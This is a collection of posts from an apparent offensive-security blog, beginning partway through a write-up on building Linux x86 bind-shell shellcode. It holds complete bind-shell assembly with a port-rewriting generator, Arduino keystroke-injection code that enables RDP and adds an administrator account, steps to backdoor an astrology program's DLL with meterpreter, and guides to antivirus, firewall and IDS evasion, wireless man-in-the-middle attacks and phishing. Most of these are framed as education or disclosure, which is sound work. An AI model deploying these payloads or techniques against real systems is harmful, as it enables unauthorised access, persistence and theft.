Strace Analysis on the shellcode

We can clearly see the order and parameters passed to the system calls. Let's use this information as a base for our shellcode and jump directly into building a shellcode from the very scratch:

xor ebx,ebx     ; Clearing EBX Register
xor eax,eax     ; Clearing EAX Register
mov al,102      ; Moving SocketCall to EAX(Sys Call Number= 102)
inc bl          ; (Saving 1 Byte) Moving 1 to EBX with a Byte Less, otherwise w$
push esi        ; Pushing 0 onto the stack(0: IPPROTO_IP)
push byte 1     ; Pushing 1 onto the stack(1: SOCK_STREAM)
push byte 2     ; Pushing 2 onto the stack(2: AF_INET)
mov ecx,esp     ; Load pointer to the stack structure to ECX
int 0x80        ; Calling Interrupt

What did we do? Initially, we cleared both EAX and EBX registers and moved the socketcall identifier (102 | 0x66) to EAX(AL), We could have moved 1 to BL. Instead, we used INC(Increment) instruction which makes the value inside BL as 1. We pushed 0 to the stack which is the value for IPPROTO_IP. Similarly, we pushed 1 and 2 onto the stack which is nothing but SOCK_STREAM and PF_INET. This makes stack contain {2,1,0}. We have already set EAX and EBX, we need to set ECX to the stack. Hence, we move ESP to ECX. Next, we simply call the Interrupt. Looking at the socketcall:

int socketcall(int call, unsigned long *args);

The socketcall identifier is 102 ---> EAX
int call identifier is 1 ----> 1: SYS_SOCKET ---> EBX
unsigned long *args ---->{2,1,0} ---> Address ---> ECX

Setting up the SYS_SOCKET, next task is to setup bind system call, let's get started:

xchg edi,eax               ; Saving the Result After Syscall from EAX to EDI
push esi                      ; Zero Pushed onto the Stack
push word 0xb822     ; Port 8888 Pushed onto the Stack
push word 2               ; 2 Pushed onto the Stack
mov ebx,esp              ; Top of the stack stored to EBX--->{0xb8220002,0}
push byte 16              ; 16 Pushed onto the Stack
push ebx                    ; Pointer ---> {Port,0}
push edi                     ; EDI Points to Result from SocketCALL
xor ebx,ebx               ; Clearing EBX
mul ebx                     ; Clearing EAX
mov al,102                ; SOCKETCALL Identifier
mov bl,2                    ; int call is bind here; 2
mov ecx,esp              ; Address of the top of the stack to ECX
int 0x80                     ; Interrupt

int bind(int sockfd, const struct sockaddr *addr, socklen_t addrlen);

We store the result from the previous call to EDI from EAX which is nothing but the value to be placed in sockfd. We push 0 onto the stack with PUSH ESI and then PUSH 0xb8220002 onto the stack. We did this in two steps using push word instruction because pushing it in one go would have resulted in a NULL byte generated by leading two zeros of the 0002. So, now our stack becomes {b8220002, 00000000}. We store the address of current ESP to EBX. Next, we push 16 which is socklen_t, we push EBX as sockaddr, and we push sockfd stored in EDI.

We now have the complete structure of arguments present on the stack, and since everything is placed correctly on the stack, we can clear the EBX and EAX registers. Let's issue another SOCKETCALL with call type as SYS_BIND denoted by 2 as the identifier. So, we move 102 to EAX, 2 to EBX and Top of the stack which contains our parameter structure to ECX and issues the interrupt. The Next call is to listen. Let 's see what parameters are required for this call to work:

int listen(int sockfd, int backlog);

push esi               ; Backlog Value 0
push edi               ; Pushing Sockfd onto the stack
xor ebx,ebx         ; Clearing EBX
mul ebx               ; Clearing EAX
mov al,102          ; SOCKETCALL
mov bl,4              ; Listen call
mov ecx,esp        ; Pointing pushed values to ECX
int 0x80              ; Interrupt

We know we have our sockfd in the EDI let's push it to the stack after pushing 0 for the backlog by issuing PUSH ESI. Next, we just clear off EAX and EBX registers and build registers to issue another SOCKETCALL. But this time, we move 4 to EBX which denotes SYS_Listen call, we move the top of the stack to ECX and simply issue the interrupt. Next, we move to the accept call as follows:

int accept(int sockfd, struct sockaddr *addr, socklen_t *addrlen);

We will similarly setup this system call like the way we did for the earlier ones:

xor ebx,ebx    ; Clearing EBX
mul ebx          ; Clearing EAX
push esi          ; 0
push esi          ; 0
push edi          ; Sockfd
mov al,102     ; Socketcall
mov bl,5         ; accept
mov ecx,esp   ; moving pointer to {sockfd,0,0} to ECX
int 0x80          ; Generating interrupt

Pretty straightforward! We are putting the value 0 for sockadd* and socklen_t while having the sockfd pushed through EDI. We just set up this call using 5(accept) in EBX. The final segment of the code contains two crucial system calls which are dup2 and execve. Let's see the code fragment:

xchg ebx,eax ;

xor ecx,ecx ; Clearing ECX

mov cl,2 ; Moving 2 to ECX

loop:

mov al,63 ; Calling DUP2

int 0x80 ; Calling Interrupt

dec ecx ; Dec ECX

jns loop ; Jump to loop till SF not set
done:

;EXECVE

xor eax,eax

push eax ; 0

push 0x68732f2f ; //sh

push 0x6e69622f ; /bin

mov ebx,esp ; Pointer to Structures in Stack(Top)

mov ecx,eax ; 0 to ECX

mov edx,eax ; 0 to EDX

mov al,11 ; EXECVE CALL

int 0x80 ; Interrupt

We simply exchange the result to EBX from EAX which held the result from the last system call. Next, we cleared ECX and moved value 2 into it. We did this because of 3 distinct values of descriptors for which we will call dup2. Next, we issue dup2 call denoted by 63 in a loop till ECX becomes 0 and Finally, we push null terminated /bin//sh and point it to EBX:

Next, we clear out ECX and EDX using 0 from EAX. We move call number 11(EXECVE) to EAX and issue the interrupt. Let's extract the shellcode from the program as follows:

Compiling the C program and running the shellcode, we can see that it works flawlessly:

Everything works flawlessly here. The final version of the code can be obtained at:
https://github.com/nipunjaswal/slae-exam/tree/master/ASSGN-1

We have a NULL free shellcode. However, the length of the shellcode is something which bothers me. A valid shellcode should be as small as possible, and 108 bytes just doesn't seem to fit in that definition. I have tweaked the code to make it smaller (80 Bytes) using the following set of techniques:

Register Re-Use
Making use of PUSH - POP Instructions
Using Single Byte Instructions
XCGG Instructions and many more

The final minimalistic shellcode is as follows:

global _start

section .text

_start:

; SYS_SOCKET
push 0x66
pop eax  
cdq
push ebx
inc ebx
push ebx
push 0x2
mov ecx,esp
int 0x80

; SYS_BIND
pop ebx
pop esi
push edx
push word 0xb822
push edx
push byte 0x02
push 0x10
push ecx
push eax
mov ecx,esp
mov al,0x66
int 0x80

; SYS_LISTEN
pop edx
pop eax
xor eax,eax
push eax
push edx
cdq
mov bl,0x4
mov al,0x66
int 0x80

; SYS_ACCEPT
inc ebx
mov al,0x66
int 0x80

; DUP2
xchg eax, ebx
pop ecx
loop:
 mov al,63
 int 0x80
 dec ecx
 jns loop
done:
 push eax
 push 0x68732f2f
 push 0x6e69622f
 mov ebx,esp
 push eax
 mov ecx,esp
 mov al,0xb ; EXECVE CALL
 int 0x80

Additionally, since we know that the port 8888 is denoted in the shellcode using "\x22\xb8" bytes, we can simply build a generator script in python which will replace these bytes with the bytes of some other port and make the shellcode to change the port on the fly:

#!/usr/bin/python

import sys

print "Stub File:"+sys.argv[1]

print "Port Used:"+sys.argv[2]

with open(sys.argv[1]+".c", "rb") as f:

contents = f.readlines()

port = hex(int(sys.argv[2])).split('x')[1]

fh, sh = port[:2],port[2:]

if len(fh) == 1: fh = "0" + fh

if len(sh) == 1: sh = "0" + sh

_p = "\\x{0}\\x{1}".format(fh,sh)

for j,i in enumerate(contents):

if "\\x22\\xb8" in i:

print "Line Number :" + str(j)

contents[j] = '"' + _p +'"'

nf = sys.argv[1]+"_new.c"

with open(nf, "wb") as f:

f.writelines(contents)

import os

os.system("gcc {0} -o {1} -fno-stack-protector -z execstack".format(nf,sys.argv[1]))

os.system("rm {0}".format(nf))

We can run the generator as shown on the following screen:

Following are the links to all the codes used in the exercise:

Postpone your Marriage plans and Deal with the Hack first

noreply@blogger.com (Nipun Jaswal) — Thu, 30 Nov 2017 18:16:00 +0000

If you think i am lazy with my posts, Hell Yeah! you are absolutely correct. Sometimes I feel 24-hours in a day are just not enough. I have ton of things to care about in life, things such as my family and my work, my friends who are like my family. I delivered my last session on 10th (if i remember correctly) in my very own Alma mater i.e. Lovely professional university and it was a great experience as always. Due to the nature of audience(students), i tried keeping a little technical yet important topic which was "DLL Search Order Hijacking". The reason i chose this topic over others is that this may sound interesting yet simple to the upcoming ninjas of my university.

I have to admit, i keep searching about my books on the internet everyday, filtering them out through countries and time to check if they are being leaked anywhere on the internet and what i found one day was that being an author, i have been indexed by google with a knowledge graph. However, i felt disappointed seeing my age alongside my name :( First time in my life, i felt like if google is pretending to be my mother who keeps giving me a reality check on the age and marriage suggestions. Things became worse when some popular matrimonial website started following me on twitter. Well, finally i made up my mind and asked my mother to sign up for some popular matrimony sites. Suddenly, we started receiving ton of calls and what all people required was a KUNDLI (This is a popular Indian document which is more powerful than all your certifications / Degrees/ Diplomas/ Letter of Recommendations, All TOGETHER) i mean this document, as soon as it gets printed controls your fortune, destiny, karma, sins and what not. If you are confused and don't have an idea what the hell i am talking about, this document is related to astrology which is used for match making.

So, we found someone locally who can get this document printed based on my DOB, place of birth, name etc. Accidentally, the guy who printed was running the software right in front of my evil eyes which kept staring at his cracked and no longer supported operating system which is none other than the legendary Windows XP. I kept looking and thinking about ms08_067_netapi (which made me happy obviously). However, then popped a software which actually generated the book of my life(Kundli) and the software was Kundli Pro(Also known as Kundli for Windows).

I came back home and downloaded this software from the internet and started looking for a potential vulnerability. I found some low hanging BOFs but i wanted to evade any possibilities of suspicion. I fired up my procmon (Process Monitor) and ran filters on the KUNDLI software as shown in the following screen:

Hmm... Interesting. If you have no idea what DLL Search order hijacking is, better get your googling skills into play. Anyways, the software tries to load the VB5.DLL while running. However, the vulnerability is that it starts from the current folder. This means it first looks in its own directory which is located in Program files and then when it doesn't find one, it goes to the system32 folder and loads it. This means that if anyhow the software is shipped with the VB5.dll as a package. it will never load the other one from system32. Next, what we can do is to simply create a meterpreter backdoor in a .dll format, rename it as VB5.dll and place it in the software folder and re-run the software as shown in the following screen:

Re-running the software will provide us with a meterpreter shell. However, the software will crash which may cause suspicion as shown in the following screen:

At this point what we can do is to simply download the DLL file from some popular DLL sharing site(Original) and backdoor the original file though a code cave as shown in the following screen:

Let's re-run the software and check if something changed:

We can see that the software loaded the DLL with ease from the current directory itself. Let's check our meterpreter handler:

Bang! we got the access to the target with no suspicion at all. Achieving this point, i could do ton of things such as:

Re-Packing the software with the infected DLL file and distributing it over the internet
Packing the software with a crypto miner and make tons of cash
Cause harm to the infected people by breaching there privacy
Locking their systems with a ransomware
Ask my matches at JeevanSathi and Shaadi.com to install the software :P This could have been Fun!!!

However, i choose to disclose this vulnerability right here at my blog and this is the exact reason why you shouldn't use cracked software. This tutorial was for educational purposes only. Please do not harm anyone.

References and Tools used:

https://github.com/secretsquirrel/the-backdoor-factory
https://www.metasploit.com/
https://docs.microsoft.com/en-us/sysinternals/downloads/procmon
https://attack.mitre.org/wiki/Technique/T1038
Original PPT: https://www.slideshare.net/nipunjaswal/hijacking-softwares-for-fun-and-profit
For Metasploit Tutorials you can buy my books here ( This is self promotion :P, i think i can do that, its my blog right :P)

Antivirus Evasion for dummies

noreply@blogger.com (Nipun Jaswal) — Sun, 13 Aug 2017 18:38:00 +0000

Long time huh? I just updated my website and i am hoping that you will like the new look and feel. I have been working recently on tons of AV solutions, trying to get the insight of how can one evade detection without using any crypters or obfuscation. Ahh, i know the topic is a bit touchy or you may think why am i discussing AV bypasses at the first place. Frankly, while conducting a penetration test ( the formal name given to breaking into systems) we may come across plenty of protection mechanisms such as AVs / Firewalls and much more. Keeping in mind this equation i thought of sharing the most basic AV evasion techniques( Just to understand how AV thing work). For this specific topic, we will use ClamAV (Open Source and fun to play with).

ClamAV Logo

However, the methods apply to all AV solutions(All you need to decode are the signatures using good unpackers).

The Setup:
We will be using the latest ubuntu while having ClamAV installed over it.

The Sample:
For the demo, i will be using a random CVE 2010-3333 sample which is detected on almost every odd AV solution.

The Idea:
Since the idea is not to obfuscate the file but to reverse the signatures and find what is being detected. We will keep it simple and make use of sigtool (comes along with ClamAV) to unpack the signatures. Having the decoded signatures, we can simply run a scan over the infected file which will let us know the exact signature causing the detection, in some cases, the signature will only be the hash of the infected file which can easily be bypassed by just appending a space to the document. In other cases, it may detect a pattern in the file. In such cases, we will see how we can find what the antivirus is looking for and correct it in our malicious payload. let's jump into the demo as follows:

As shown in the demo, we can easily bypass signature based detections and patterns looked for by the AV solutions.

Note: This tutorial is for educational purposes only, the idea of such tutorials is to educate newbies and security enthusiasts to build effective signatures and get a little know-how about Antivirus solutions.

Recreating a USB Rubber Ducky under $4 in India

noreply@blogger.com (Nipun Jaswal) — Fri, 23 Sep 2016 19:00:00 +0000

Holla Guys,

It's been a while I have been on my very own domain :P Anyways, today I would like to show you guys few things I have done in the past few years. I have been playing around with a lot of Arduino chips and ended up creating a clone of the USB Rubber Ducky using the keyboard libraries.

Arduino Chips for Hacking

By using cheap Arduino chips I was not only able to run commands on my computer system but was able to bypass Android 4-Digit lock in less than 2 hours. So how was i able to do it? The very first thing we require is an Arduino Pro Micro Chip. You will find it on Amazon, Ebay or anywhere else and it would cost around 800-900 Rupees which is a lot of money :P So, I chose to go with Aliexpress and got the chips for less than $4. Having the chip, all you need to is to use a USB - Micro Cable to connect your new Arduino chip to the system. For all the folks who know about Arduino's please feel free to skip one or two paragraphs. You will need the Arduino IDE (Download and install). You will also need to set your board to Arduino Leonardo(Compatible with Arduino Pro Micro)

Next, all we need to do is to interpret our required functionality in the form of keystrokes and build a program around it. Keyboard.press() function will type the required key for us while Keyboard.release() will release a particular key. Another important function is Keyboard.releaseAll() which will release all the pressed keys at once. Say, "CTRL+SHIFT+DEL" pressing this combination will require you to press one key after the other while holding them all and releasing them together. Similar combinations are required for any combinations we want. The beauty of the Arduino is that it types in so fast that barely a human eye could catch(if very little delays are present). Let's say we need to open an admin prompt; we will first press the left windows key, then we will type in cmd, then right clicking cmd(CTRL+SHIFT+F10), then a down arrow key and finally enter key. However, if UAC is enabled another Right Arrow Press Followed by an Enter is required. You can understand the functionality through the following image:

So, let's simply create an example program which will Bypass UAC, Enable RDP and add a user named hacker to the system as follows:

void setup() {
    Keyboard.begin();
delay(3000);
type(KEY_LEFT_GUI,false);
Keyboard.releaseAll();
delay(100);
print(F("cmd.exe"));
delay(1000);
type(KEY_LEFT_CTRL,false);
type(KEY_LEFT_SHIFT,false);
type(KEY_F10,false);
Keyboard.releaseAll();
delay(200);
type(KEY_DOWN_ARROW,false);
Keyboard.releaseAll();
delay(200);
type(KEY_DOWN_ARROW,false);
Keyboard.releaseAll();
delay(200);
type(KEY_DOWN_ARROW,false);
Keyboard.releaseAll();
delay(500);
type(KEY_RETURN,false);
Keyboard.releaseAll();
delay(2000);
type(KEY_LEFT_ARROW,false);
Keyboard.releaseAll();
delay(100);
type(KEY_RETURN,false);
Keyboard.releaseAll();
delay(1000);
print(F("reg add "));
delay(1000);
String abc= "\\";
print(F("\"HKLM\\SYSTEM\\CurrentControlSet\\Control\\Terminal Server\""));
delay(1000);
print(F(" /v fDenyTSConnections /t REG_DWORD /d 0 /f"));
delay(2000);
type(KEY_RETURN,false);
Keyboard.releaseAll();
print(F("net user hacker hacker /add"));
delay(1000);
type(KEY_RETURN,false);
Keyboard.releaseAll();
delay(5000);
print(F("net localgroup administrators hacker /add"));
delay(1000);
type(KEY_RETURN,false);
Keyboard.releaseAll();
delay(5000);
print(F("exit"));
delay(1000);
type(KEY_RETURN,false);
Keyboard.releaseAll();
Keyboard.end();
}
void type(int key, boolean release) {
    Keyboard.press(key);
    if(release)
        Keyboard.release(key);
}
void print(const __FlashStringHelper *value) {
    Keyboard.print(value);
}
void loop(){}

Loading this program into the Arduino, we can backdoor anybody's system with a new user account and can remote connect to the system. However, using a little modification you can also obtain the IP address of the system as well. I have already created a demonstration exploiting the CTRL+SHIFT+PRNTSCR functionality at login time which can be found below:

Enjoy!!

Keep Spying with a Low Cost Voice Recorder

noreply@blogger.com (Nipun Jaswal) — Wed, 03 Dec 2014 12:46:00 +0000

Voice Recording is one of the primary aspects when it comes to Spying. Today let us discuss about ISD 1820 Voice Recording Module.

This Module works both independently as well as with Arduino, Pi Boards etc. it is quite small, say a few centimeters bigger than the SD card adapter. This module operates on 3V-5V. Starting to record, playing back can both be controlled using hardware switches as well as Boards like Arduino, Pi etc.

This module is can be used to build various projects for spying and can be interfaced with SIM900, Motion Sensor so on and so forth.

A Basic Video demonstrating operations of this module can be found at-

Android Keypad Tones, A Perfect BlueBox!

noreply@blogger.com (Nipun Jaswal) — Tue, 18 Nov 2014 19:12:00 +0000

Hi,
I recently found that keypad tones from android devices can act as a perfect phone phreaking blue box.

In Simple Terms: Feed in Equivalent Calling tones to the Mic of the Land Line from Android, this will allow you to call the number for whom the tones are generated for.

However, for some devices like Samsung and others, may not generate the same tones. However, for those devices, we can simply install ToneDef Application from Google Playstore for free. Using this app or the android dialer pad itself may allow phreaking on telephone land lines.

So many of you guys might have seen a old style phone lock that hides the entire keypad from a landline phone. Now, you don't have to bother about that at all. We can simply use an android app to bypass Keypad locks and in most cases with the ToneDef app we can simply bypass Pay-Phones as well.

Have a Look at a simple demonstration using android at-

Kindly share your thoughts in the comments and if you liked the video, kindly give it a share.

Exploit Writing Series Tutorial 1: Buffer Overflow on Linux

noreply@blogger.com (Nipun Jaswal) — Mon, 27 Oct 2014 15:35:00 +0000

Hey folks,
i have been thinking for so long to start a noob friendly series on exploit writing but never got that much time. Anyways, let's talk about exploit writing-

So, what is an exploit?
an exploit is a piece of code that takes the advantage of a vulnerable system.

However, keeping this a noob friendly tutorial let's make some things very clear. Firstly, an exploit may or may not work on two different application versions, may not work on two different operating systems.
Secondly, if you think you already know basics, you can leave the website immediately.

Well, Throughout this series we will start from the very basic (I Mean it :P) this means we will take up things as soon as they appear. So, you don't have to worry about ASM, Comp. Architecture etc.

Pre-requisites
i already mentioned that we will take up things as soon as they appear. However, for this tutorial you should have a lil knowledge about C Programming.

So, let's take up the most basic "Stack based Buffer Overflows" at the very first stage-

Now, what is a stack?

we can see in the above picture that we organized every book one above the other. However, we can collectively say that this is a stack of books. Now, to build this stack, we placed the first book, then the other on top of it and so on until we run out of books.

Exactly, what follows in Computer systems. We can put operands and operators one above the other to form a stack. This is called the "Push" operation. This also means that the first book is now at the bottom and the last one is at the top. This is why stack is called Last-in-First-Out. So, when we need to remove a book, we first need to remove the book at the top, this is called the "Pop" operation.

So, What is Buffer Overflow?
A buffer is a region which stores data temporarily and when more data than its capacity is supplied, it gets overflowed.

Let's see an example-

#include<stdio.h>
#include<string.h>
#include<stdlib.h>
void noexec()
{
printf("this never executes");
exit(0);
}

void main(int argc, char** argv)
{
char buffer[50];
strcpy(buffer,argv[1]);
printf(buffer);
}

In the above program, we have two different functions- main and noexec. When we run this program, it simply receives the command line argument, copies it into the buffer variable and simply prints it. Now, you might ask, why do we have noexec() function if we are not calling it any where in the program? this is because in order to work out the simplest buffer overflow, we will try to execute this function by exploiting it.

Let's compile this program using the following command-

#gcc -ggdb -o rofl -fno-stack-protector expl1.c -mpreferred-stack-boundary=2

To compile a C program in linux, we use gcc, -ggdb option allows the code to be executed and listed in debugger by supplying enough information to the debugger, about the program, -fno-stack-protector option turns off stack protection mechanisms in Linux while compiling the program and -mpreferred-stack-boundary=2 option aligns the stack on a 4-byte boundary and will be susceptible to crash as well. However, by default it's on 16-byte boundary.

(You can Skip the above paragraph, for now we just need to focus on compiling the application program)

Let's execute the program, and supply 50 A's, we can see that it gets printed, Let's try with 51 A's, 52 A's and 53 A's. We can see that program exited normally after outputting the supplied input. However, as soon as we provide 54 A's we get Segmentation Fault which denotes crashing of the program or we can say the buffer just overflowed. You might ask, we had the buffer for 50 characters but it still got executed at 51,52,53. This is because the input didn't overwrote the EIP initially and may have overwrote other registers which didn't affected the program's execution.

What is EIP?
A register which stores the address of the next instruction. Therefore, if we overwrite this EIP register with the address of our choice, our choice will be the next instruction to be executed by the program. This potentially means that we can redirect the flow of a program to anywhere we want.

Let's open this program in GDB-
GDB is a debugger which can allow us to view the state of the registers, stack, memory locations etc throughout the execution of a program(I Know this is the most basic tutorial and introducing GDB may not be the correct idea right now, but for the sake of running the noexec function we need its memory address).

#gdb ./rofl

the above command will run the program in GDB. To find the starting address of the noexec() function we need to input a simple command which is "disassemble" followed by the name of the function

(gdb) disas noexec

this command will output the following-

Don't get scared! for Now, we only need the address of the first instruction which is 0x0804847c.

Next, we simply need to input this address after 54 A characters and this will overwrite the current address in EIP resulting in altering the flow of the program according to our needs.

Let's test it out-
Keeping it simple, we will supply 54 A's and the address in Little endian format which is to reverse the bytes(ex- split the bytes 08 04 84 7c to 7c 84 04 08.

We can see that after outputting the input, noexec function runs thus outputting "This Function Does Not Execute".

This tutorial is purely for the newbies in exploit writing. If You liked this tutorial, comment your feedback and suggestions.

For exploiting the same on x64 based architecture, refer to Adhokshaj Mishra's Website.

See you Next week.

Fixing SickFuzz for Kali Linux

noreply@blogger.com (Nipun Jaswal) — Sat, 27 Sep 2014 09:35:00 +0000

SickFuzz is a fuzzer for web applications and has always been a script which i miss the most on Kali linux. Let us see how we can fix it to run on Kali Systems-

Download the script from this link and try to execute it.
The First Error would be:

And probably the second one would be:

To Fix these errors, we need to make the following changes in the spike and the fpath variables. However, fpath variable is the path of the sickfuzz.py file.

As soon as you fix and restart sickfuzz.py, it works like charm-

Happy Fuzzing :)

Simplest Command to Fetch SSIDs Around You

noreply@blogger.com (Nipun Jaswal) — Fri, 26 Sep 2014 13:56:00 +0000

Today we will discuss how we can easily capture network SSIDs from the various devices around you.

This will help you find previously connected networks from various devices due to the fact that any wireless enabled device will keep looking for previously connected network after a certain period of time.

To keep it simple we will simply use 'tshark' the command line sequel for wireshark.

The first step is to put your wireless card in monitor mode-

airmon-ng start wlan0

Next, issue the following command-

tshark -i mon0 -R wlan.fc.type_subtype==0x04 -T fields -E separator=- -e wlan.sa -e wlan_mgt.ssid

Lets understand this command, -i denotes the interface to capture packets from and since we have put our wireless card in monitor mode, we will use mon0.

-R denotes the filter to use, wlan.fc.type_subtype==0x04 denotes the 'Probe Request' packet which is used for seeking a network actively, by the device. we used Hex notation of probe packet that is 0x04. Next, to list only the information which we require rather than the entire packet we use -T fields. -E separator denotes the character separator between two fields. -e denotes the actual fields which we want to display.

Therefore, our command should display something like-

XX:XX:XX:XX:XX:XX-[Network Name]

running this command will output something similar to the following-

This was a simple tutorial but i thought it will be helpful for few people who wants to get information about previously connected networks from certain devices.

Using Decoys but not only decoys in scanning networks using Nmap

noreply@blogger.com (Nipun Jaswal) — Sun, 29 Jun 2014 13:11:00 +0000

In the Previous tutorial, we discussed about evading windows 7 firewall rules. Today, let us discuss about another great capability of Nmap that is decoys. To evade detection and network presence, Nmap decoys can be used effectively to lessen the chances of being caught. Decoys are those fake IP bots which pretends to be scanning the network and hence, confusing the security administrators to find the real culprit. So, today let us see how we can scan a target using Decoys in Nmap. For this tutorial we will use the target operating system as Windows 7 and we will run Snort to detect network packets. Snort is a common open source IDS implementation-

we just performed a service scan with nmap on the target with two decoys that are 192.134.122.133 and 192.134.55.66 on port 21. We can see the port open but let us see on the target side that what amount of traffic we generated-

As we can clearly see that we have the decoys who are scanning the target. But, we also have our original IP address listed there. However, this lessens the chances of getting caught but not a complete evade. Also, an important thing to mention here is that in a Service discovery scan, Nmap will try to fetch the banner of the target port from the original IP address which makes it more catchy. Therefore, let us see another approach of using Nmap decoys with IP Spoofing and analyze the results-

Let us now check the target Snort logs and see if the original IP address is listed there or not-

Bang! we can see that there is no listing of our original IP address there. Hence, evading the catch completely. Therefore, decoys lessens the chances of being caught and does it even better when used in conjunction with IP spoofing. This tutorial is recommended to use under a LAN environment or on an onsite testing project.

Evading Windows 7 Firewall rules with Basic Ninja Scanning using Nmap

noreply@blogger.com (Nipun Jaswal) — Thu, 26 Jun 2014 21:49:00 +0000

Today, let us talk about Firewall rules and how we can evade them. However, i will be producing more advanced and complex tutorials for ninja scanning as well.OK, let us talk about a basic ninja scan which is required in the following scenario-

Target is a colleague in the neighborhood who is running on Windows 7, Runs a Version of an FTP server on port 21 and 990(secured) and lastly has blocked our IP address as well. Our task is to evade the protection mechanisms that are the Windows 7 firewall based rules.

To create a self test environment, you need:

Windows 7 up and running in VMware or on a different machine
A Firewall rule in "Inbound Connections" which Blocks our IP address
Any Linux configured with Nmap

OK! So let us first run a simple Nmap scan without any rule in the firewall and check what is the output:-

Providing the simple command nmap 192.168.193.128 shows the output in the above screenshot. Everything seems to be OK! we are able to make a connection with ease. let us now create a firewall rule to block the remote address 192.168.193.1(Attacker's OS IP/Our IP) -

The first rule blocks our IP address which is 192.168.193.1 Let us now re-scan the target and see that if the firewall is blocking us now or not?

"All 1000 ports are filtered" firewall is working pretty well huh? :P let us also check what Wireshark denotes running this scan-

All SYN packets from the very first packet till the end of the scan.... so what this means? yeah you guessed it right no ACKs. Therefore, Nmap shows all ports filtered.

Let us now overcome this situation by using -S switch in Nmap which helps in spoofing the originating address as follows-

Let us analyze the above command, we used -sS to denote a Stealth Scan/Half open Scan. Next, we used -e to denote the interface name which in my case was vmnet8 because i used it in VMware Player(eth0 in case of machine being a different one). Next, -S to supply an address to spoof and 21,990 using -p switch to denote the port numbers. we can see that some error messages are generated but its alright, it works fine. let us cross check its functioning using Wireshark-

Bingo! we were able to spoof the address with ease and we can also see the SYN-ACKs sent back from the target to the spoofed address which doesn't exist actually :P

This concludes our most basic ninja scanning tutorial to evade a firewall rule of Windows 7. Stay tuned for more tutorials. Additionally, Refer to my book Mastering Metasploit to learn how to scan a hidden network using a compromised host.

What was Western Union Private Exploit

noreply@blogger.com (Nipun Jaswal) — Mon, 31 Mar 2014 13:54:00 +0000

Western Union is a popular money transfer service. Last year our team "Cyber-ROG" found a password reset bug in the official site of western union.
People on many popular forums claimed to have the password reset bug for western union, which was considered as a popular fake on various forums by some popular members.

Team Cyber-ROG found the password reset bug and reported it to the western union officials. But the company, instead of acknowledging the work done, they patched the bug without even replying to the disclosure mail.

Check out the POC video of the exploit-

Researchers must be acknowledged for their findings. But some of the companies do not take this seriously. Hence, Full Disclosure to these kind of bugs are required.

Cyber-ROG is composed of highly skilled researchers from around the globe. Want to show respect? like the facebook page here

Why to get a C|EH Certification

noreply@blogger.com (Nipun Jaswal) — Sun, 30 Mar 2014 17:15:00 +0000

Hey Folks,
let us today discuss about C|EH certification and discuss why it's always an upper hand to get one, rather than a local company based certification.

C|EH is an IT security certification by EC-COUNCIL and has been more than a standard rather than a certification. what it means is that C|EH is almost mandatory in all the IT security jobs out there.
I have seen so many people quarrel on the subject that "C|EH course doesn't provide knowledge". what i suggest is that C|EH provides a base to all security subjects. Hence, it's considered boring. but mind it whenever you need to apply to a job, you need this certification in your bag. C|EH is widely accepted everywhere in the world.

Suppose, when you type in "ceh" in linkedin. you will find that most of the security jobs require C|EH certification-

I did C|EH, 4 years ago. throughout my course, i found that C|EH mostly covers various topics and throw light on the basics of every topic that includes- wireless hacking, basics of web application hacking, reverse engineering, phases of testing and cryptography.

C|EH exam is generally conducted by Prometric in india. CEH v8 exam includes 125 Multiple choice questions and require the students to score 70% marks.

I would say, C|EH exam is really easy to pass as most of the freely available exam preparation guides contain all the questions that are mostly included in the exams.

Final Verdict: If you are a complete beginner go for C|EH to cover basics of most of the technologies. however, if you are an experienced campaigner go for C|EH as a vital asset to fetch a leading job in the IT security industry.

Coding a Simple Wordpress Version Scanner In Metasploit

noreply@blogger.com (Nipun Jaswal) — Wed, 01 Jan 2014 22:54:00 +0000

Hey Folks,
Check out my Simplest Script for Finding the Wordpress Version in Metasploit.
This module is intended only to show that how we can code a metasploit module. however, tons of tools out there may work 100 times better than this script.

This Module Requires you to set RHOSTS to the Server IP and username of the website as USER.
suppose, a website is running wordpress, ping the website and grab the IP, open the website and browse to find the username at /wp-includes/admin-bar.php or /wp-includes/user.php file by copying the username from the path which might look similar to /home/nipun/www/. in this case 'nipun' is the username.
Now, set both of the parameters, which are RHOSTS and USER. Now, run the script.
You should be able to find the Version of Wordpress running.
Script URL :-
Download From Github

Please Comment If you Like this Post and Want more tutorials on Coding Metasploit Exploits, Modules etc.

Conducting Wireless Man in the Middle Attack

noreply@blogger.com (Nipun Jaswal) — Mon, 30 Dec 2013 10:50:00 +0000

Wireless is basically vulnerable to so many attacks but attacks like MITM can also be leveraged against wireless networks as they could have been in case of normal Ethernet. However, in a wireless man in the middle attack one cannot simply put the interface between the AP and the Victim.
Here, we need to force the client to break its connection from the legitimate interface and connect to the fake one. However, no manual work is to be done by the victim while connecting from normal to the fake AP. In this attack we will setup a fake AP with the same ESSID( the name of the wireless network) of the victim AP and then, we will send De-authentication packets to the Legitimate AP so no one can make a connection to it. Now, ESSIDs being same of both the target network and our fake one, victim system will try to connect to the fake one as it is not able to connect to the original one. As soon as the victim connects we will capture all its data... And will pass it back to the legitimate AP. so all the data will pass through our system and hence wireless MITM is achieved.
Here's a Video Demonstration for Doing the same with Backtrack.

Hope you will enjoy the Video. Do leave your feedback.

3 Tutorials to get you started with Social Engineering Toolkit

noreply@blogger.com (Nipun Jaswal) — Sun, 29 Dec 2013 13:14:00 +0000

Hey Folks,
Social Engineering is an art to lure information from the victim in form of credentials, IP addresses, or may be the complete system access using falsifying calls.
But Social Engineering has gained a lot of hikes in the recent years, in terms of web and internet based attacks.

these attacks can be leveraged onto the modern user running windows 7/8 systems too.
i have created 3 tutorials to get you guys starting with Social engineering toolkit.
Social engineering toolkit comes as a part of Backtrack/Kali Linux. it uses Metasploit for its various attacks.
let's get started with social engineering using some of the following videos.

1. Introduction to Basic Attacks:-
In this video, you will find basics of using Social engineering toolkit and attacking the client side using it.

2. Tab Napping Attack:-
In this tutorial, you will information about tab napping attacks and how it can be conducted. basically tab napping attacks are leveraged when a victim tries to open a fake address and he is presented with a page saying " the site is loading" but as soon as the victim opens a new tab, the content of the page are refreshed and a fake log in page appears. as soon as the victim tries to log in his credentials gets logged in the social engineering toolkit window. View the tutorial for more:-

3. Infectious Media Generator:-
In this attack, malicious files are produced with AUTORUN.inf file and are written onto a disk or USB. when a victim plugs in the media, the attack gets launched as AUTORUN.inf file loads the attack vector itself. View The Tutorial Below for more information on SET.

All these attacks were performed under windows 7 enabled systems. i hope you will like this post.